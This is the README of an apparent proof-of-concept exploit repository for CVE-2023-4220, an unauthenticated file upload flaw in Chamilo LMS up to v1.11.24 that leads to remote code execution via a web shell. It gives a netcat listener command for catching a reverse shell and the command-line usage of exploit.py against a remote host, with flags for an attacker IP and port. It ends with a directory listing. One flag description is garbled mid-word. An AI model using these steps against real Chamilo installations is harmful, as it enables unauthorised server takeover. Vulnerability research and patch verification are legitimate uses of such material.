# CVE-2023-4220-RCE
## Summary
*[Starlabs advisory](https://starlabs.sg/advisories/23/23-4220/)*
- **Affected product:** Chamilo <= v1.11.24
- **Description:** Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
- **CVSS Score:** 8.1 (*High*)
## Usage
1. Set up a netcat listener (if you want a reverse shell)
```bash
sudo nc -lnvp 443
```
2. Run the exploit
```bash
python3 exploit.py -u --url <REMOTE HOST>, -p --port [REMOTE PORT] -c --comand <COMMAND>
```
- Flags for reverse shell
- **-lh/--localhost:** Attacker IP
- **-lp/--localtcat listener port
[4.0K] /data/pocs/32384875036c34558411e9b7db8a5611eae24e96
├── [1.9K] exploit.py
└── [ 795] README.md
0 directories, 2 files